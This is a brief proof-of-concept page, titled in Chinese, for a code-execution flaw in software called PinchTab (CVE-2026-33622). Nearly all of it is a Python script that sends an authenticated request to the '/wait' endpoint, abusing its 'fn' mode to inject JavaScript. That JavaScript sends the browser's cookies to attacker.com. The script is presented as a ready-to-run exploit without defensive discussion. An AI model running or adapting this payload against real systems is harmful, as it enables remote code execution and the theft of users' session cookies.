CVE-2026-33622 PinchTab 任意代码执行漏洞

import requests # Target configuration url = "http://localhost:port/wait" # Attacker's server token (Required for exploitation) token = "YOUR_SERVER_TOKEN" # Malicious JavaScript to execute # This example sends the document cookies to an external server malicious_js = "fetch('http://attacker.com/exfil?c=' + document.cookie)" # Prepare the payload exploiting the 'fn' mode payload = { "fn": malicious_js, "mode": "fn" } headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Send the malicious request response = requests.post(url, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}")